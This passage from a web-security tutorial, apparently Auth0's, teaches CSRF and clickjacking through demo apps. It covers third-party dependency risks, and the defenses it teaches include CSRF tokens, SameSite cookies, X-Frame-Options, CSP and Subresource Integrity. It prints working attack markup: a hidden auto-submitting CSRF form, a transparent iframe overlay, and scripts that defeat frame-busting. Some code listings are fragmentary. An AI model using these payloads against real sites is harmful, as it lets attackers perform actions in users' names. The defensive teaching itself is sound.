You triggered this change by simply clicking a link on the attacker’s website.
How could this happen?
The CSRF mechanics
Before analyzing the attacker’s website to understand what happened, let’s

take a look at the user’s profile page. It is a standard HTML form that allows
you to change the user’s name and email address. You can look at its code
by opening the EJS template implemented in the template/user.ejs file.
The relevant content is as follows:


<form method=”post” action=”user”>
<fieldset>
<label for=”username”>Your name:</label>
<input name=”username” type=”text” value=”<%= username %>” class=”thin”>
</fieldset>
<fieldset>
<label for=”email”>Your email:</label>
<input name=”email” type=”email” value=”<%= email %>” class=”thin”>
</fieldset>
<fieldset>
<button type=”submit” class=”thin”>Save</button></form>
</fieldset>
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</form>

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The /user endpoint processing the form submission is implemented in the

server.js file. This snippet highlights the relevant code:
// server.js
app.post(‘/user’, function (req, res) {
if (req.session.isValid) {
req.session.username = req.body.username;
req.session.email = req.body.email;
res.redirect(‘/user’);
} else {
res.redirect(‘/’) ;
});
The server accepts the submitted data only if a valid active session is
present.
Now, let’s see how this seemingly innocent link on the attacker’s page is
implemented. The markup looks like the following:


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<form method=”post” action=”http://localhost:3000/user”>
<input type=”hidden” name=”username” value=”The Attacker”>
<input type=”hidden” name=”email” value=”[email protected]”>

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</form>
<a href=”#” onclick=”document.forms[0].submit()”>Visit this website!</a>
You should notice a form with hidden fields. That form’s action points to the
user’s profile page, and the link triggers a simple JavaScript statement that
submits the form.
This form is harmless when the user of the movie streaming website has
no active session. The vulnerable website will refuse to change the user’s
profile since session information isn’t provided in the request. However, if
the user has an active session, the change will be applied.
This behavior is due to a cookie on the user’s browser that tracks the
current session on the movie streaming website. When the vulnerable
website receives the change request, it appears legitimate since it has the
correct session cookie.
In this way, even if the attacker has no direct access to the vulnerable
website, they exploit the user and the CSRF vulnerability to perform
unauthorized actions. Unlike what may happen in XSS attacks, the attacker
doesn’t directly read the cookie and steal it.
Hiding the CSRF attacks
In the example shown so far, the user becomes aware of the attack
immediately after clicking the malicious link. Of course, those examples
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have an educational purpose and have been kept as simple as possible to

focus on the attack’s logic.
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However, keep in mind that most attacks are hidden from users, and their
interaction is not strictly necessary. For example, the attacker can trigger a
CSRF attack by simply putting the following script right after the malicious
form:
<script>
document.forms[0].submit();
</script>
It will submit the form right at the page loading.
Another way of preventing users from seeing what is happening is by

including the form in a hidden iframe.
CSRF Defenses Strategies

Now you should have a better understanding of how a CSRF attack
happens. Let’s look at how you can prevent them in your applications.
There are two primary strategies:
1. Ensuring that the request you’re receiving is valid, i.e., it comes from a
form generated by the server.
2. Ensuring that the request comes from a legitimate client.
Let’s see how to implement those strategies to our vulnerable website.
Validating Requests
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Attackers can perform a CSRF attack if they know the parameters and
values to send in a form or query string. To prevent those attacks, you need
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a way to distinguish data sent by the legitimate user from the one sent by
the attacker and only accept those from a user.
Using a CSRF token
A common approach to validating requests is using a CSRF token,

sometimes called anti-CSRF token. A CSRF token is a value proving that
you’re sending a request from a form or a link generated by the server.
When the server sends a form to the client, it attaches a unique random
value (the CSRF token) to it that the client needs to send back. When the
server receives the request from that form, it compares the received token
value with the previously generated value. If they match, it assumes that
the request is valid.
Let’s apply this technique to protect the user’s profile page.
As a first step, install the csurf library by running the following command in
a terminal window:
npm install csurf
This library will help you to generate and manage the CSRF token.
You might think that creating and checking a CSRF token is so simple that
you can write the code yourself. My suggestion is to use a proven library to
do this job at best. Look for the best library for your programming language
or framework.
After installing csurf, change the content of the server.js file as follows:
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auth0.com
// server.js
const bodyParser = require(‘body-parser’);
const csrf = require(‘csurf’); // new code
app.use(bodyParser.urlencoded({ extended: true }));
app.use(csrf()); // new code
app.get(‘/user’, function (req, res) {
res.render(‘user’, {
username: req.session.username,
email: req.session.email,
csrfToken: req.csrfToken() // new code
});
} else {
res.redirect(‘/’);
});
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In the above code, you’ve imported the csurf module and configured it as
an Express middleware. A new CSRF token will now be generated for each
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request and attached to the current session object. You can access the
current CSRF token through the req.csrfToken() method. With the default
csurf configuration, the token’s validity will be checked whenever a POST
request is sent to the server.
Now, edit the template/user.ejs file and add the markup highlighted in
the following:
<fieldset>
</fieldset>
<fieldset>

<input type=”hidden” name=”_csrf” value=”<%= csrfToken %>”>
</fieldset>
<fieldset>
</fieldset>
</form>
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auth0.com
This markup includes the hidden field _csrf with the current value of the
CSRF token.
With these changes, the movie streaming website will continue to work as
before. But if you try to apply the attack from the http://localhost:4000
URL, you will no longer be able to change the user’s data. You will get an
error message complaining about the invalid CSRF token, as shown in the
following picture:
You can download from GitHub the fixed version of the original project with
the following command:
git clone -b csrf-token https://github.com/auth0-blog/csrf-sample-app.git
Using the double submit cookie strategy

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The previous solution requires keeping the value of the matching CSRF
token on the server side. If you don’t want to maintain a copy of the token
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on the server for any reason, you can apply the double submit cookie
strategy. With this strategy variant, the server stores the matching token’s
value in a cookie instead of keeping it in the server session. It sends the
CSRF token to the browser in both the hidden field and the cookie. When
the server receives a request, it just needs to check if the cookie’s value
and the hidden field value match.
Let’s see how you can implement this alternative strategy with the csurf
library. Start with the original vulnerable project. Refer to the Set up the
environment section for directions.
Install the csurf and cookie-parser libraries with the following command:
npm install csurf cookie-parser
You already know the csurf library. The cookie-parser library allows your
application to parse cookies sent by the browser.
Then, change the content of the server.js file as follows:
// server.js
const csrf = require(‘csurf’); // new code
const cookieParser = require(‘cookie-parser’); // new code
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app.use(cookieParser()); // new code
app.use(csrf({ cookie: true })); // new code

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app.get(‘/user’, function (req, res) {
res.render(‘user’, {
username: req.session.username,
email: req.session.email,
csrfToken: req.csrfToken() // new code
});
} else {
res.redirect(‘/’);
});
Here, you include the installed modules and configure them as middleware
in the Express HTTP pipeline. In particular, you are configuring the csurf
middleware to use cookies instead of the server session object. As you did
for the session-based approach, you will access the CSRF token through
the req.csrfToken() method and will put it in a hidden field of the user’s
page template:
<fieldset>
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</fieldset>
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<fieldset>

<input type=”hidden” name=”_csrf” value=”<%= csrfToken %>”>
</fieldset>
<fieldset>
</fieldset>
</form>
This way, you fix the CSRF vulnerability with an approach similar to the
previous case. However, if you look at the cookies in your browser, you will
notice a new _csrf cookie containing the CSRF token’s value.
You can download this version of the project from GitHub as well. Here is
the command to use:
git clone -b double-submit-cookie https://github.com/auth0-blog/csrf-sample-app.git
Validating Requests Origin

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The strategies discussed in the previous section are based on checking

the validity of a request. You can also only accept requests from specific
origins, typically the same domain that hosts the web application. Let’s take
a look at this approach.
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Check the request origin

To ensure that an HTTP request is coming from a legitimate client, you
should validate its origin. It means that the server should determine the
source origin of the request and compare it with the target origin. You can
do this by analyzing a few HTTP headers like Origin or Referer. You can
rely on these headers because they cannot be altered programmatically,
that is, only the browser can set them.
Let’s take a look at how you can implement this technique. Again, start with
the original vulnerable project by setting up the working environment.
Then, change the content of the server.js file by adding the following
code:
// server.js
app.set(‘views’, ‘./templates’);
app.set(‘view engine’, ‘ejs’);
// new code
const referer = (req.headers.referer? new URL(req.headers.referer).host :
req.headers.host);
const origin = (req.headers.origin? new URL(req.headers.origin).host :
null);
if (req.headers.host == (origin || referer)) {
next();
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} else {
return next(new Error(‘Unallowed origin’));
});
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// new code
You have now added middleware that grabs the Origin and Referer
headers and compares their values with the Host header’s value. The code
considers that the Referer header may be missing at the first request to
the server. It also takes into account the lack of support for ‘Origin’ headers
which is a key weakness of old browsers. If one of those headers matches
the Host header, you can process the request. Otherwise, the middleware
raises an error and doesn’t process the request.
Do not consider this a production-ready code. It is just for demonstration

purposes. Many issues may affect the correct behavior of origin validation.
Check out this OWASP document to learn more.
With this change, the attacker’s website will not be able to trigger its CSRF
attack.
Download the project fixed with this approach by using the following
command:
git clone -b request-origin https://github.com/auth0-blog/csrf-sample-app.git
Using SameSite cookies
An alternative way to invalidate requests from unauthorized origins is to

use the sameSite cookie property. This property is relatively new, so older
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browsers may not support it.

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To learn how you can adopt this approach, restore the original project as
described in the Set up the environment section. Then, open the server.
js file and apply the following little change:
// server.js
app.use(session({
resave: true,
cookie: {
httpOnly: true,
sameSite: ‘strict’ // new code
}));
You assigned the ’strict’ value to the sameSite property of the session
cookie. This value instructs the browser not to send the session cookie
when the request comes from a different domain. In other words, that
cookie must be sent to the server only by pages loaded from the same
website.
You may want to verify that the attacker’s website can no longer perform
any unintentional change on the movie streaming website. Unfortunately,
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if you try to perform the usual attacker steps as before, you will be able to
carry out the attack. This is because you are using the same domain name
(localhost) for both the vulnerable and the attacker websites, and cookies
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are shared independently of the port. So, to correctly test the behavior of
the sameSite property, you will need to differentiate the domain names. For
example, you can use the http://127.0.0.1:4000 address for the attacker’s
website.
This time everything should go as expected. However, unlike the other

scenarios, your redirection from the attacker’s website to the user’s profile
page won’t get an error. Instead, you’ll be redirected to the vulnerable site’s
home page as an unauthenticated user. This is because the browser is
not sending the session cookie to the streaming movie website since the
request comes from another site.
As usual, you can download this version of the project with the following
command:
git clone -b cookie-samesite https://github.com/auth0-blog/csrf-sample-app.git
Summary
At the end of this chapter, you better know how CSRF attacks work and
which strategies you can use to prevent them. Exploring the vulnerable and
the attacker websites, you learned first-hand how dangerous and devious a
CSRF attack could be.
Fortunately, you learned a few strategies to protect your web application

from this kind of attacks:
• Using CSRF tokens stored on the server side.
• Using the double submit cookie strategy.

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• Checking the request origin.
• Using SameSite cookies.

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At this point, you may be wondering which of these strategies to apply

to your web applications. As you’ve seen, those approaches range from
simple (leveraging the sameSite property of cookies) to more complex
(generating/validating CSRF tokens). You’ve also learned their limitations.
There is no definitive answer to which strategy is “the best”. In general, the
best approach is a combination of multiple strategies where each provides
strengths to counteract others’ weaknesses.
The goal of this chapter was to explain how CSRF attacks work and provide
you with basic principles to protect your web application. To dive deeper
into CSRF defenses, please check out the OWASP CSRF prevention cheat
sheet.
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Clickjacking
“All warfare is based on deception. Hence, when we are able to attack,
we must seem unable; when using our forces, we must appear inactive;
when we are near, we must make the enemy believe we are far away;
when far away, we must make him believe we are near.”
- Sun Tzu, The Art of War, Chap. I - Detail Assessment and Planning
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auth0.com
Clickjacking
Clickjacking attacks rely on visual tricks to get website visitors to click on
user interface elements that perform actions on another website. As usual,
this chapter will show you how a clickjacking attack works in practice and
the techniques you can use to prevent them.
What Is Clickjacking?
A clickjacking attack aims to trick unsuspecting website visitors into
performing actions on another website, i.e., the target website. Let me
make a simple example to clarify the concept. A user may be enticed by a
website that promises them an exceptional prize. When the user clicks a
button to accept this gift, their click is instead used to purchase an item on
an e-commerce website.
Typically this attack is performed by hiding the target website’s UI and

arranging the visible UI so that the user isn’t aware of clicking the target
website. This approach means that this kind of attack is also known as UI
redressing or UI redress attack.
Because of this deception, the user unwittingly performs operations like

transferring money, purchasing products, downloading malware, giving a
like on a social network, and so on. Let’s discover the details of how this
works with a practical example.
Types of Clickjacking Attacks

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Based on the nature of the specific operation, the attack may assume
different names. Consider, for example, the following variants:
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• Likejacking: This kind of attack aims to grab users’ clicks and redirect
them to “likes” on a Facebook page or other social media networks.
• Cookiejacking: In this case, the user is led to interact with a UI element,

for example, via drag and drop, and to provide the attacker with cookies
stored on their browser. This way, the attacker can perform actions on
the target website on behalf of the user.
• Filejacking: With this type of attack, the user allows the attacker to
access their local file system and take files.
• Cursorjacking: This technique changes the cursor position to a different

place from where the user perceives it. This way, the user believes they
are making one action while actually making a different one.
• Password manager attacks: This type of attack aims to deceive

password managers to take advantage of their auto-fill functionality.
These are just a few of many possible other clickjacking variants. Even if
many variants exist, keep in mind that they rely on the same basic principle:
capture a user action through a UI trick.
Clickjacking in Action
To understand the details behind a clickjacking attack, let’s take a look at
how it may happen in practice.
To run the sample application you are going to download, you just need
Node.js installed on your machine. However, the principles behind the
clickjacking vulnerability and the prevention strategies are independent
of the specific programming language or framework.
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auth0.com
Let’s start by cloning the sample app from the GitHub repository
accompanying this chapter. Run the following command on your machine:
git clone https://github.com/auth0-blog/clickjacking-sample-app.git
Once the download is complete, install the project’s dependencies by

moving in the project’s folder and running this command:
npm install
Now you can launch the vulnerable website of the sample project by typing
the following:
npm start
Finally, open your browser and navigate to the http://localhost:3000

address. You should see the following page:
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auth0.com
The project implements the same type of application you’ve seen in

previous chapters. It’s a specific movie page of a fictitious movie streaming
website. On the website, you can either stream a movie or buy the movie’s
DVD. However, you need an authenticated session to play and buy a film.
This project doesn’t implement an actual authentication process to make
things simple. You can simulate an authenticated session by clicking the
valid session link within the message at the bottom of the page. After
getting the simulated user session, that message disappears.
Launch the clickjacking attack
Once the movie website is running, you will set up the clickjacking attack
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for it. You will be running another website, the attacker’s website, whose
code will grab your click and redirect it to the movie website without you
realizing it.
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Let’s run the attacker’s website by running the following command in a

terminal window:
Then, open a new tab or a new instance of your browser and navigate to
http://localhost:4000. You should see the following page:
This page promises you an amazing holiday by simply clicking the Accept
the prize! button. This appears totally unrelated to the movie website.
However, if you click the button, you are buying the DVD on the movie
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website. Verify this by opening your browser’s developer tool and analyzing
the network traffic while clicking the button. This is an example of this
tracking in Chrome DevTools:
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You may notice an HTTP POST request to the http://localhost:3000/

purchase endpoint of the movie website.
What is the relationship between this website and the movie website? You
will be discovering this in a moment.
Anatomy of the attack
To understand what’s happened, let’s take a look at the attacker’s website

page. Move to the views folder and open the index.ejs page. The body of
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the page looks as follows:

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<html lang=en>

<body>
<div id=”attacker_website”>
<h1>You Are The Winner!!!</h1>
<h2>You won an awesome tropics holiday!</h2>
<img alt=”Tropical Holiday” src=”images/tropical-holiday.jpg”/>
<h2>Accept it by clicking the button below.</h2>
<button type=”submit”>Accept the prize!</button>
</div>
<iframe id=”vulnerable_website” src=”http://localhost:3000”>
</iframe>
</body>
</html>
Its content is an EJS template with two main elements:
• The visible part of the page is defined by the div with the attacker_
website identifier.
• The iframe with the vulnerable_website id points to the movie website,

but actually, you don’t see it on the attacker’s page.
The trick that connects the two websites is performed by the CSS rules
defining the position and visibility of those elements. Let’s take a look at
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them:
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<html lang=en>
<head>
<style>
#vulnerable_website {
position:relative;
opacity:0.0;
width:800px;
height:900px;
top:75px;
left: -95px;
z-index:2;
padding-left:80px;
#attacker_website {
position:absolute;
z-index:1;
#attacker_website button {
margin-left:100px;
</style>
</head>
</html>
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As you can see, the vulnerable_website iframe has assigned the 0.0
value for its opacity, which makes it transparent. In addition, it is positioned
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so that it overlaps the attacker_website div. You can see how the iframe
overlaps the div by adjusting the opacity value of the iframe to 0.3. After
changing that value, restart the attacker’s website. You should see the
attacker’s page as shown in the following picture:
You see that the Accept the prize! button overlaps the Buy DVD button on
the movie website.
The z-index property completes the job: the invisible iframe is over the
attacker’s div. So, users think they are clicking the Accept the prize! button
when they are actually hitting the Buy DVD button.
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Now that you know how a clickjacking attack works, it should be clear why
this technique is also known as UI redressing.
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Note that you must have a valid session on the movie website to make this
attack successful. However, the attack itself is not about exploiting session
cookies. The attack can be performed even against a website that doesn’t
require any authentication.
Differences with CSRF
The mechanics behind a clickjacking attack may look similar to a CSRF

attack, where the attacker sends a request to the target server by using
your active session. However, they are quite different.
As you learned in the previous chapter, in the CSRF case, the attacker
builds an HTTP request and exploits the user session to send it to the
server. In the clickjacking case, the user interacts directly with the target
website. The attacker builds no request, and the request sent to the target
server is legitimate from the perspective of the vulnerable website.
Prevent Clickjacking Attacks

Now you know how clickjacking attacks work. Let’s discuss how you can
prevent them and make your website safer.
Even if the application example provided in this chapter is a traditional web

application, consider that the core of the attack is the ability to include a
website or application within an iframe. A clickjacking attack may affect any
application independently of the technology or framework used to build it.
This means that regular web apps and Single Pages Applications (SPA) built
with React, Angular, and other web UI frameworks are also vulnerable.
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Client-side defenses
Since clickjacking attacks leverage iframes, you may think that applying
some client-side defense to prevent your website from being loaded in
iframes can protect it. This technique, known as frame-busting, can be
implemented with a few lines of JavaScript.
Consider adding the following script in the head section of the vulnerable
website’s page:

<!DOCTYPE html>
<html lang=en>
<head>
<meta charset=utf-8>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0”/>
<link rel=”stylesheet” type=”text/css” href=”css/tacit-css.min.css”/>
<title>The Vulnerable Movie Center</title>

<script>
if (top != window) {
top.location = window.location;
</script>
</html>
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If the page of the vulnerable website is not within the browser’s topmost
window, it is reloaded in the top window. In practice, this script replaces
the attacker’s page with the hidden page allowing the user to unmask the
attack.
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At first glance, this looks like a good solution to the problem. However,
there are a few issues with this approach. For example, some browsers or
browser add-ons may block the automatic reloading. Also, the attacker may
build their page to neutralize that defense. For example, the attacker can
simply add the following script to their page:
<html lang=en>
<head>
</head>
<body>

<script>
window.onbeforeunload = function() {
return false;
};
</script>
</body>
</html>
By handling the onbeforeunload event, the attacker attempts to disable

the current page dismissal. This approach could not work in some browsers
since it may require user confirmation. But the attacker has even more
options. For example, they can use the iframe’s sandbox attribute, as
shown below:
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<html lang=en>
<head>
</head>
<body>

<iframe id=”vulnerable_website”
src=”http://localhost:3000”
sandbox=”allow-scripts allow-forms allow-same-origin”>
</iframe>
</body>
</html>
In this case, the attacker specifies that the iframe content is allowed to
execute scripts (allow-scripts), to submit forms (allow-forms), and to
be treated as being from the same origin (allow-same-origin). No other
permission is specified, so the iframe content cannot replace the top-level
content, as the allow-top-navigation value would have allowed.
In other words, the client-side defenses to clickjacking attacks are easy to

get around and are not recommended except to mitigate the problem in
legacy browsers.
If you want to try this client-side defense and the attacker’s related
neutralization, you can download the adapted project with the following
command:
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git clone -b client-side-defenses https://github.com/auth0-blog/clickjacking-
sample-app.git
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Other similar techniques based on JavaScript and HTML try to prevent

clickjacking attacks. However, in general, client-side attempts to block
clickjacking attacks usually don’t work well since they are easy to get
around.
Using the X-Frame-Options header
A better approach to prevent clickjacking attacks is to ask the browser to

block any attempt to load your website within an iframe. You can do this by
sending the X-Frame-Options HTTP header.
Start from the original sample project by following the instructions given in
the Set up the environment section. Then, edit the server.js file as shown
below:
// server.js
const express = require(‘express’);
const port = 3000;
// new code

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res.setHeader(‘X-Frame-Options’, ‘sameorigin’);
next();
});
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You configured Express middleware that adds the X-Frame-Options HTTP

header to each response for the browser. The value associated with this
response header is sameorigin, which tells the browser that only pages of
the same website are allowed to include that page within an iframe.
With this restriction, an attacker will not be able to use the technique shown
before to capture users’ clicks. You can verify that this defense works by
changing the iframe opacity in the attacker’s page:
<html lang=en>
<head>
<style>
#vulnerable_website {
position:relative;
opacity:0.3; // changed code
width:800px;
height:900px;
top:75px;
left: -95px;
z-index:2;
padding-left:80px;
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}
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#attacker_website {
position:absolute;
z-index:1;
#attacker_website button {
margin-left:100px;
</style>
</head>
</html>
Once you apply this change, restart the attacker’s website. You should see
something similar to the following picture:
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This time the iframe content is blocked.
An alternative value for the X-Frame-Options header is deny, which

prevents any attempt to put the page within a frame.
To try this approach, you can download the sample app project variation
with the following command:
git clone -b x-frame-options https://github.com/auth0-blog/clickjacking-sample-app.git
Using CSP
Major browsers support the X-Frame-Options header. However, the ietf

has never standardized it, so technically, some browsers may not support
it. An alternative standard approach to prevent clickjacking attacks is by
using specific Content Security Policy (CSP) directives.
For example, after restoring the sample app project to its original state,
change the content of the server.js file as follows:
// server.js
const express = require(‘express’);
const port = 3000;

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// new code
res.setHeader(“Content-Security-Policy”, “frame-ancestors ‘self’;”);
next();
});
In this case, you attach the Content-Security-Policy header with the

frame-ancestors ‘self’; value to each outgoing response. This CSP
directive allows you to get the same result as the X-Frame-Options header
with the sameorigin value.
Alternative values to control iframe embedding through the Content-

Security-Policy header are:
• frame-ancestors ’none’; : This prevents any attempt to include the

page within a frame.
• frame-ancestors https://www.authorized-website.com; : This

directive allows you to specify which website is allowed to embed the
page in a frame. You can specify multiple URIs.
Auth0 protects its Universal Login page from clickjacking attacks by sending
both X-Frame-Options and Content-Security-Policy headers. If both
headers are specified, X-Frame-Options takes priority.
To test the CSP approach to defend the sample app from clickjacking,
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download the project by running this command:

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git clone -b content-security-policy https://github.com/auth0-blog/
clickjacking-sample-app.git
Using cookie’s sameSite origin
Suppose your web application is vulnerable to clickjacking due to session

cookies, like in the sample app that comes with this chapter. In that case,
you can protect it by leveraging the sameSite property of cookies. In
this case, the defense is not based on breaking the iframe behavior but
on preventing the session from being valid when the website is within
an iframe. Be careful, though: this approach doesn’t help you when your
website actions don’t rely on an active session.
The sameSite property has been recently introduced, so old browsers may
not support it.
Let’s take a look at how you can apply this approach. Restore the original
project as described in the Set up the environment section and change the
content of the server.js file as in the following code snippet:
// server.js
app.use(session({
resave: true,
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cookie: {
httpOnly: true,
sameSite: ‘strict’ // new code

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}));
You simply added the sameSite property with the ’strict’ value to the
session cookie. This value tells the browser not to send the session cookie
when the request comes from a different domain.
To verify that the user can’t finalize the purchase through the
attacker’s website, you need to access the attacker’s website via the
http://127.0.0.1:4000 address. The reason is the same you learned in
the CSRF chapter. You are using the same domain name (localhost) for
both the vulnerable and the attacker websites, and cookies are shared
independently of the port. Of course, in production, you will not have this
problem.
To download the project implementing this clickjacking defense, run the

following command:
git clone -b same-site-cookie https://github.com/auth0-blog/clickjacking-
sample-app.git
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Summary
This chapter guided you through analyzing how a clickjacking attack
works and how you can protect your web application by applying different
approaches:
• Client-side defenses, like using JavaScript, which are straightforward

but are too vulnerable to counter-actions.
• X-Frame-Options header, which prevents your page from being

loaded in an iframe.
• Content Security Policy directive, which prevents your page from

being loaded in an iframet even when the X-Frame-Options header is
not supported.
Each of the proposed strategies has benefits and drawbacks. Security

defenses are most effective when no trivial methods exist to bypass them.
Therefore, the best approach is to combine those approaches so that the
other may succeed if one fails due to lack of browser support.
For a more in-depth discussion about clickjacking prevention, you can take
a look at the OWASP cheat sheet.
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Third-Party Assets
Security Risks
“The general who wins the battle makes many calculations in his
temple before the battle is fought. The general who loses makes but
few calculations beforehand.”
- Sun Tzu, The Art of War, Chap. I - Detail Assessment and Planning
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Third-Party Assets
Security Risks
The vulnerabilities you explored in the previous chapters come from
the code written for your web application. However, your application
doesn’t just contain your code. You almost certainly use packages in
your application that you did not write. Security risks may arise in your
applications from third-party dependencies.
In this chapter, you will learn how you can protect your web applications
from vulnerabilities that come from third-party assets.
Third-Party Assets Risks

Building web applications requires special attention to security issues since
they are publicly accessible. As a developer, you should make sure that
your applications are reasonably protected from the most common security
concerns.
However, your effort to build secure web applications can be nullified by

vulnerabilities that exist in third-party assets such as library packages,
JavaScript dependencies, or even CSS files. Any vulnerability in a third-
party asset that you use becomes a vulnerability in your application.
What are the risks you may face with third-party vulnerabilities? Many are
the same risks you can have with vulnerabilities in your code:
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• Exposure to Cross-Site Scripting (XSS)
• Being subject to Cross-Site Request Forgery (CSRF) attacks

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• Predisposition to clickjacking tricks
• Injection flaws
• Other risks derived from the foundational work that many packages do
However, you may have additional risks if your dependencies contain

malicious code. For example, this malicious code may expose you to:
• Loss of confidential and personal data
• Unauthorized access to systems and other applications
• Downtime of system infrastructure
A few notorious cases, like the event-stream package threat or the

Equifax incident, are emblematic examples of what can happen if you
neglect third-party packages security. Even when the third-party package
is not dangerous, like in the peacenotwar case, the effect on your
application could be embarrassing.
Let’s discover what you can do to mitigate such risks.
Best Practices to Mitigate Risks

To mitigate the risk of introducing vulnerabilities in your web application
due to third-party assets, you should set up a structured process in your
development flow. This process basically consists of four steps:
• Assets inventory
• Dependencies analysis
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• Risk assessment
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• Risk mitigation
Let’s take a look at each of these steps.
Assets inventory
The first step in this process is to know what dependencies your web
application is using. This is far more difficult and uncommon than you think,
especially in a modern web application.
Think of the node_modules folder of your Node.js project or the global

packages folder for .NET Core solutions or the equivalent for other
programming languages and development environments. They usually
contain a lot of packages. Maybe you installed a few of them, but most
likely, they depend on other packages. So, you end up having a significant
amount of code you have not written in your project. A SpringBoot project
in Java starts with more than 500,000 lines of code in its packages before
you write a single one yourself. The more uncontrolled code you have
in your codebase, the more likely you introduce vulnerabilities into your
application.
Also, don’t forget to consider even scripts or stylesheets you include in

your client applications, regardless of whether you include a bundled copy
of them or link to a Content Delivery Network (CDN). Think of jQuery and
Bootstrap assets or the Google Analytics tag, for example.
Knowing exactly which dependencies your project uses is fundamental

to understanding associated risks and how to mitigate them. This step
may also allow you to think about the true need for each third-party
dependency.
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Dependencies analysis
Once you list the dependencies used in your project, you should inspect
them to search for vulnerabilities.
If the dependency comes from an open-source project, you can check its
code. Otherwise, you can consult the vendor’s security bulletins or check
out specialized databases such as the National Vulnerability Database.
Of course, manually checking all your dependencies is not feasible. You

should use tools that automate this task for you. For example, if you use
GitHub as your code repository service provider, you should regularly
receive security vulnerabilities alerts that may affect your projects’
dependencies. They also provide automated pull requests via Dependabot.
npm comes out of the box with the ability to check for security
vulnerabilities in your Node.js projects. You can launch this inspection by
typing npm audit in a terminal window. You can also automatically update
your npm dependency by running npm audit fix. Be aware you may
need to upgrade specific packages as well. Create a new branch in your
repository before doing this work.
Alternatively, you can use OWASP Dependency-Check, a tool from OWASP

that integrates with other code management systems such as Maven,
Gradle, Jenkins, and others. Or you can use the OWASP Dependency-
Track platform to identify security risks with a structured and advanced
approach.
Whatever tool you use, the result of this analysis step is a list of the
vulnerabilities that affect your dependencies and their severity.
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Risk assessment
Of course, you hope to get an empty vulnerability list for your

dependencies. However, let us assume that you detect security risks
affecting your application. In this case, you have to make some decisions.
Usually, your decisions depend on your answers to the following questions:
• How severe is that vulnerability?
• Is there any available fix?
• What is the effort to fix the vulnerability?
• Is this vulnerability relevant to your application?
You may think that if a new version of your dependency fixes that
vulnerability, you have to install that update. However, updating a
dependency is not always a smooth task. You need to be sure that the new
version doesn’t break your application or other dependencies. You also
need to ensure that the new version is not introducing new security issues.
Finally, you need to balance the effort of upgrading and its benefits.
Maybe you will find vulnerabilities that don’t actually affect your application
so that you can postpone the dependency upgrade to a later time. In other
words, you can decide to accept the risk represented by the security issue
you discovered in a dependency in some circumstances.
This step of the mitigation process requires thoughtful reasoning about

the risks and benefits of taking action over potential issues. To learn more
about this decisional process, take a look at the OWASP Vulnerable
Dependency Management Cheat Sheet.
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Risk mitigation
Now you have a clear picture of the situation. You may have vulnerabilities
you can temporarily ignore, but you also may have issues that you must
resolve.
If a fix for a vulnerability exists and the upgrade is straightforward for your
application, you should apply it. In case there’s no fix for a vulnerability
affecting one of your dependencies, you have two choices:
• Collaborating with the author/vendor of the dependency to solve the

vulnerability.
• Find a workaround to prevent exploitation of the vulnerability.
At the end of this process, you should have addressed the most dangerous
vulnerabilities that could affect your application.
Keeping Risk Mitigation Under Control

Even if you have been able to ensure an acceptable level of risk with your
dependencies, you can’t relax yet. Your codebase is a live environment.
Even if you don’t change your code, your third-party assets may change
without realizing it. Just a simple rebuild can add uncontrolled code to your
project. The same situation may happen without any build process when
using a third-party script or CDN.
You may have different scenarios depending on the type of project and its
configuration. Let’s see how to deal with those issues.
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Locking Server-Side Assets
Most modern development environments rely on centralized remote

registries for dependency management, such as, for example, npm, NuGet,
Maven, Packagist, and others. By default, many will download upgraded
packages automatically on each build if there is a new minor version.
Of course, it depends on your package manager configuration. Let’s take

npm as an example. It is the standard Node.js package manager, and it
relies on the package.json configuration file to track a Node.js project’s
dependencies. This is an example of package.json file:
“name”: “my-app”,
“version”: “1.0.0”,
“description”: “This is my application”,
“main”: “index.js”,
“scripts”: {
“test”: “echo \”Error: no test specified\” && exit 1”
},
“keywords”: [],
“author”: “”,
“license”: “ISC”,
“dependencies”: {
“axios”: “^0.19.2”,
“express”: “^4.17.1”
}
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It declares that the current project depends on axios version 0.19.2 and
Express version 4.17.1. However, the caret (^) before the version number
tells the package manager can install any version that is compatible with
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the current one can be installed. Following the semantic versioning

convention, this means that the package manager is allowed to install any
patch below version 0.20.0 for Axios and any patch and minor fixes below
version 5.0.0 for Express.
Say you found no security issues in the current versions of those packages.
With this configuration, you may add an uncontrolled version of those
dependencies in your project with the risk of introducing new vulnerabilities.
You have two ways to fix the dependency versions of your Node.js project:
• Specify the exact version of your dependencies in package.json by

removing any range indicator.
• Consider the package-lock.json file as an integral part of your project

and commit it into your source code repository (see the package-lock.
json documentation for more information).
You may have the same problem with other package managers. For
example, in .NET you can specify a reference in your project as in the
following example:
<Project Sdk=”Microsoft.NET.Sdk.Web”>

<PackageReference
Include=”Microsoft.AspNetCore.Components.WebAssembly.Authentication”
Version=”3.2.*” />


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</Project>
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In this case, NuGet will install the highest stable package version starting
with 3.2. Again, you would not be sure of the specific version you are
running in your application with this configuration. Consider using a specific
version for your dependency to ensure you get the exact package you
know you can trust. Check out the NuGet package versioning document
to learn more.
Locking Client-Side Assets with Subresource Integrity
Hosting scripts and stylesheets on a CDN is a common practice. It helps to

reduce bandwidth consumption and improve performance. However, that
code is out of your control. The code maintainer may apply changes to it, or
an attacker can replace it with malicious code without you realizing it.
Using third-party CDNs exposes your application to a potential security risk.

How can you mitigate this risk?
The typical mitigation approach is to apply Subresource Integrity. This

standard feature, supported by all recent browsers, allows you to block any
third-party assets that have changed since your latest security review. Let’s
take a quick look at how Subresource Integrity works.
Assume you have a reference to React in your HTML page as in the

following:
<script src=”https://unpkg.com/[email protected]/umd/react.production.min.js”>
</script>
This reference uses the unpkg CDN to load a specific version of React.
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Indicating a particular version is an excellent practice to ensure you have

the exact version of a library you have already verified. In the unpkg CDN, if
you indicate just a major version of a library, for example, react@17, you will
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get the most recent update of that library. So, similarly to npm, you specify
version 17 but will get version 17.0.1 and subsequent patches and minor
updates.
However, even if you specify a given version of your library, you may not be
sure if the code has not been tampered with, say, after an attack. You may
also need to use libraries or scripts that don’t provide any explicit version
number.
The Subresource Integrity feature ensures that the third-party asset has
not been changed since your latest security review. You need to add two
attributes to the script element seen above to enable that feature. The
protected script would appear like the following:
<script src=”https://unpkg.com/[email protected]/umd/react.production.min.js”
integrity=”sha256-Ag0WTc8xFszCJo1qbkTKp3wBMdjpjogsZDAhnSge744=”
crossorigin>
</script>
You added the integrity and crossorigin attributes to the <script> tag.
The value of the integrity attribute is the hash value of the third-party
asset. It is represented by a string in the form algorithim-hash. The
algorithm is sha256 in the example above, and the actual hash value is
Ag0WTc8xFszCJo1qbkTKp3wBMdjpjogsZDAhnSge744=.
